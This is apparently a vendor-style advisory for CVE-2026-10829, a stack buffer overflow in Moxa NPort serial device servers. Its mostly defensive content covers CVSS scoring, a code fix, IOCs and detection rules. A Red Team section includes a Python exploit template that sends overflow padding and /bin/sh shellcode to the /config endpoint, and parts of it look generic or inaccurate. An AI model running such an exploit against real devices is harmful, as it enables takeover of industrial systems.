CVE-2026-10829
Executive Summary
CVE-2026-10829 is a critical stack-based buffer overflow vulnerability affecting the Moxa NPort W2150A-W4 and W2250A-W4 Series serial device servers running firmware version 1.5 and earlier. The flaw resides in the "Server location" parameter on the Basic settings page of the web management interface. Due to insufficient input validation, an unauthenticated attacker can send a crafted HTTP request to overflow a stack buffer, leading to memory corruption and potential remote code execution with root privileges. This vulnerability is particularly dangerous because these devices are often deployed in industrial control system (ICS) and operational technology (OT) environments, where network segmentation may be weak. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity remains critical due to the potential impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full system compromise.
- Integrity Impact: High (I:H) – Attacker can modify system files.
- Availability Impact: High (A:H) – Denial of service or full control.
Threat Level: Critical. The combination of remote exploitability, no authentication, and root-level code execution makes this a top-priority vulnerability for any organization using these devices.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow (CWE-121) in the web server component of the NPort firmware. The web interface processes the "Server location" parameter from the Basic settings page without proper bounds checking. When a user submits a value longer than the allocated stack buffer, the excess data overwrites adjacent memory regions, including the return address and other critical stack frames.
Technical Flow:
- The web server receives an HTTP POST request to the configuration endpoint.
- The
Server locationparameter is extracted and copied into a fixed-size stack buffer (e.g., 256 bytes) using a vulnerable function likestrcpy()orsprintf(). - An attacker sends a payload exceeding the buffer size, causing a stack overflow.
- The overflow corrupts the saved return address on the stack.
- When the function returns, execution jumps to an attacker-controlled address, typically pointing to shellcode injected into the same buffer or another writable memory region.
- The shellcode executes with root privileges, giving the attacker full control over the device.
Root Cause: The firmware uses unsafe string handling functions without validating input length. This is a common issue in legacy embedded systems where security was not a primary design consideration.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (C pseudocode):
void handle_server_location(char *input) {
char buffer[256];
strcpy(buffer, input); // No bounds checking
// ... process buffer ...
}
Patched Code (Expected fix):
void handle_server_location(char *input) {
char buffer[256];
strncpy(buffer, input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ... process buffer ...
}
The fix would involve replacing strcpy with strncpy or using a safe function like snprintf to limit the copy size to the buffer length. Additionally, input validation should reject strings longer than the buffer size.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target device: NPort W2150A-W4 or W2250A-W4 with firmware <= 1.5.
- Network access to the web interface (default port 80 or 443).
- No authentication required.
Exploitation Steps:
- Reconnaissance: Scan for the device using Shodan dorks or Nmap:
nmap -p 80,443 --script http-title <target_ip> - Craft Payload: Create a buffer overflow payload. The exact offset to the return address must be determined via fuzzing (e.g., using a pattern like
Aa0Aa1...). Example Python script:import socket import struct target_ip = "192.168.1.100" port = 80 # Offset to return address (example: 268 bytes) offset = 268 # Shellcode (e.g., reverse shell) shellcode = b"\x90" * 16 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # Return address (example: address of buffer) ret_addr = struct.pack("<I", 0xbffffabc) payload = b"A" * offset + ret_addr + b"\x90" * 100 + shellcode http_request = f"POST /config HTTP/1.1\r\nHost: {target_ip}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(payload)}\r\n\r\nserver_location={payload.decode('latin-1')}" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) sock.send(http_request.encode()) sock.close() - Execute: Run the script. If successful, the device will execute the shellcode, providing a reverse shell.
Note: No public exploit code is available. The above is a generic example and may require adjustment.
Blue Team (Defense)
Detection & Prevention:
- Network Segmentation: Isolate NPort devices on a separate VLAN with strict firewall rules. Do not expose the web interface to the internet.
- Input Validation: If possible, deploy a web application firewall (WAF) or reverse proxy to filter oversized requests to the
/configendpoint. - Monitoring: Monitor for HTTP POST requests with abnormally long
server_locationparameters (e.g., > 256 bytes). - Firmware Updates: Check Moxa’s support site regularly for patches. If none available, consider replacing the device.
- Disable Unused Services: If the web interface is not required, disable it via the device’s console or SNMP.
Indicators of Compromise (IOCs)
- Network Traffic:
- HTTP POST requests to
/configwithserver_locationparameter exceeding 256 bytes. - Outbound connections from the device to unusual IP addresses (e.g., reverse shell traffic).
- HTTP POST requests to
- System Logs:
- Unexpected reboots or crashes of the web service.
- Log entries indicating buffer overflow errors (e.g., "stack smashing detected").
- File System:
- Presence of new binaries or scripts in
/tmpor/var(e.g.,/tmp/.shell). - Modified configuration files (e.g.,
/etc/config).
- Presence of new binaries or scripts in
- Processes:
- Unusual processes running as root (e.g.,
/bin/shspawned by the web server).
- Unusual processes running as root (e.g.,
Detection Engineering
YARA Rule
rule CVE_2026_10829_NPort_BufferOverflow {
meta:
description = "Detects exploit attempts for CVE-2026-10829 targeting NPort devices"
author = "Valters IT"
date = "2026-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-10829"
strings:
$s1 = "server_location=" ascii wide nocase
$s2 = "POST /config" ascii wide nocase
$overflow_pattern = { 41 41 41 41 41 41 41 41 } // 8 consecutive 'A's
condition:
$s1 and $s2 and #overflow_pattern > 32
}
Sigma Rule
title: CVE-2026-10829 NPort Buffer Overflow Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests with oversized server_location parameter
author: Valters IT
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/config'
cs-uri-query|contains: 'server_location='
condition: selection and len(cs-uri-query) > 300
falsepositives:
- Legitimate long server names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-10829 NPort Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/config"; http_uri; content:"server_location="; http_client_body; pcre:"/server_location=[A-Za-z0-9]{300,}/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Devices: Place NPort devices on a dedicated management VLAN with strict access controls. Block inbound HTTP access from untrusted networks.
- Monitor Logs: Enable logging and monitor for the IOCs listed above.
- Disable Web Interface: If not required, disable the web interface via the device’s console or SNMP.
Long-Term Fix:
- Vendor Patch: Await an official firmware update from Moxa. Contact Moxa support for ETA.
- Device Replacement: If no patch is released, consider replacing the device with a patched alternative.
Workaround:
- Reverse Proxy: Deploy a reverse proxy (e.g., Nginx) that validates input length before forwarding to the device:
location /config { client_max_body_size 1k; limit_except POST { deny all; } proxy_pass http://nport_backend; }
Valters IT
Securing the digital frontier.